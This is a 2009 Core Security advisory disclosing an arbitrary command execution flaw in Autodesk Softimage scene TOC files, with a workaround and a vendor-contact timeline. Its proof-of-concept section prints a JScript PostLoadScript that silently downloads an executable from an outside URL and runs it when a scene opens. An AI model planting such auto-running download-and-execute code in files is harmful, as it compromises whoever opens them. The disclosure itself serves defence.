Core Security Technologies Advisory 2009.0908

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Core Security Technologies - CoreLabs Advisory  
http://www.coresecurity.com/corelabs/  
  
Autodesk SoftImage Scene TOC Arbitrary Command Execution  
  
  
  
1. *Advisory Information*  
  
Title: Autodesk SoftImage Scene TOC Arbitrary Command Execution  
Advisory Id: CORE-2009-0908  
Advisory URL:  
http://www.coresecurity.com/content/softimage-arbitrary-command-execution  
Date published: 2009-11-23  
Date of last update: 2009-11-20  
Vendors contacted: Autodesk  
Release mode: User release  
  
  
  
2. *Vulnerability Information*  
  
Class: Failure to Sanitize Data into a Different Plane [CWE-74]  
Impact: Code execution  
Remotely Exploitable: Yes  
Locally Exploitable: No  
Bugtraq ID: 36637  
CVE Name: CVE-2009-3576  
  
  
  
3. *Vulnerability Description*  
  
Autodesk Softimage [2] is a 3D computer graphics application for  
producing 3D computer graphics, 3D modeling, and computer animation.  
Autodesk Softimage by default saves a .scntoc file along with the  
scene content tree. The scene TOC (scene table of contents) is an  
XML-based file that contains scene information. When you open a scene  
file, Softimage looks for a corresponding scene TOC file and  
automatically reads and applies the information it contains. Scene TOC  
XML files can be modified to execute arbitrary commands without user  
intervention by design. An attacker can take full control of the  
machine where SoftImage is installed by sending a specially crafted  
scene package and enticing the user to open it.  
  
  
4. *Vulnerable packages*  
  
. Autodesk Softimage 7.x  
. Autodesk Softimage XSI 6.x  
  
  
5. *Vendor Information, Solutions and Workarounds*  
  
The vendor did not provide fixes or workaround information.  
  
You can disable the default reading of SCTOC script by following these  
steps:  
  
. Go to File > Preferences > Data Management > Files tab  
. Uncheck "Read scene TOC (Table of Contents) file on load".  
  
  
6. *Credits*  
  
This vulnerability was discovered and researched by Diego Juarez,  
Fernando Arnaboldi and Federico Charosky from Core Security  
Technologies during Bugweek 2009 [1].  
  
The publication of this advisory was coordinated by Fernando Russ from  
Core Security Advisories Team.  
  
  
7. *Technical Description / Proof of Concept Code*  
  
Autodesk Softimage by default saves a .scntoc file along with the  
scene content tree. The scene TOC (scene table of contents) is an  
XML-based file that contains scene information. When you open a scene  
file, Softimage looks for a corresponding scene TOC file and  
automatically reads and applies the information it contains. One of  
the "benefits" of the TOC file is that you can edit it to run a script  
automatically after loading a scene without user intervention by default.  
  
As Proof of Concept we created a new project in Softimage, added some  
geometry, and saved it. Sure enough, along the .scn a .scntoc was  
created. We then proceeded to modify the XML like this:  
  
/-----  
<PostLoadScript>  
<Language>JScript</Language>  
<Function></Function>  
<Script_Content>  
<![cdata[  
var s=new ActiveXObject('WScript.Shell');  
var o=new ActiveXObject('ADODB.Stream');  
var e=s.Environment('Process');  
var u='http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe';  
var b=e.Item('TEMP')+'agent.exe';  
var x=new ActiveXObject('Microsoft.XMLHTTP');  
//x=new ActiveXObject('MSXML2.ServerXMLHTTP');  
if(!x)  
exit(0);  
x.open('GET',u,0);  
x.send(null);  
o.Type=1;  
o.Mode=3;  
o.Open();  
o.Write(x.responseBody);  
o.SaveToFile(b,2);  
s.Run(b,0);  
]] >  
</Script_Content>  
</PostLoadScript>  
  
- -----/  
  
  
  
8. *Report Timeline*  
  
. 2009-08-25:  
Core Security Technologies ask the Autodesk Assistance Team for a  
security contact to report the vulnerability.  
  
. 2009-09-22:  
Core asks the Autodesk Assistance Team for a security contact to  
report the vulnerability.  
  
. 2009-10-09:  
Core contacts CERT to obtain security contact information for Autodesk.  
  
. 2009-10-16:  
CERT acknowledges the communication.  
  
. 2009-10-19:  
CERT sends their available contact information for Autodesk.  
  
. 2009-10-19:  
Core notifies Autodesk of the vulnerabilty report and announces its  
initial plan to publish the content on November 2nd, 2009. Core  
requests an acknoledgement within two working days and asks whehter  
the details should be sent encrypted or in plaintext.  
  
. 2009-10-19:  
Autodesk acknowledges the report and requests the information to be  
provided in encrypted form.  
  
. 2009-10-20:  
Core sends draft advisory and steps to reproduce the issue.  
  
. 2009-10-27:  
Core asks Autodesk about the status of the vulnerability report sent  
on October 20th, 2009.  
  
. 2009-10-27:  
Autodesk acknowledges the communication indicating that the pertinent  
Product Managers have been informed and are formulating a response.  
  
. 2009-11-06:  
Core notifies Autodesk about the missed deadline of November 2nd, 2009  
and reuqests an status update. Publication of CORE-2009-0908 is  
re-scheduled to November 16th, 2009 and is subject to change based on  
concrete feedback from Autodesk.  
  
. 2009-11-23:  
Given the lack of response from Autodesk, Core decides to publish the  
advisory CORE-2009-0908 as "user release".  
  
  
  
9. *References*  
  
[1] The authors participated in Core Bugweek 2009 as members of the  
team "Gimbal Lock N Load".  
[2]  
http://usa.autodesk.com/adsk/servlet/pc/index?siteID=123112&id=13571168  
  
  
10. *About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is  
charged with anticipating the future needs and requirements for  
information security technologies. We conduct our research in several  
important areas of computer security including system vulnerabilities,  
cyber attack planning and simulation, source code auditing, and  
cryptography. Our results include problem formalization,  
identification of vulnerabilities, novel solutions and prototypes for  
new technologies. CoreLabs regularly publishes security advisories,  
technical papers, project information and shared software tools for  
public use at: http://www.coresecurity.com/corelabs.  
  
  
11. *About Core Security Technologies*  
  
Core Security Technologies develops strategic solutions that help  
security-conscious organizations worldwide develop and maintain a  
proactive process for securing their networks. The company's flagship  
product, CORE IMPACT, is the most comprehensive product for performing  
enterprise security assurance testing. CORE IMPACT evaluates network,  
endpoint and end-user vulnerabilities and identifies what resources  
are exposed. It enables organizations to determine if current security  
investments are detecting and preventing attacks. Core Security  
Technologies augments its leading technology solution with world-class  
security consulting services, including penetration testing and  
software security auditing. Based in Boston, MA and Buenos Aires,  
Argentina, Core Security Technologies can be reached at 617-399-6980  
or on the Web at http://www.coresecurity.com.  
  
  
12. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2009 Core Security  
Technologies and (c) 2009 CoreLabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper  
credit is given.  
  
  
13. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
  
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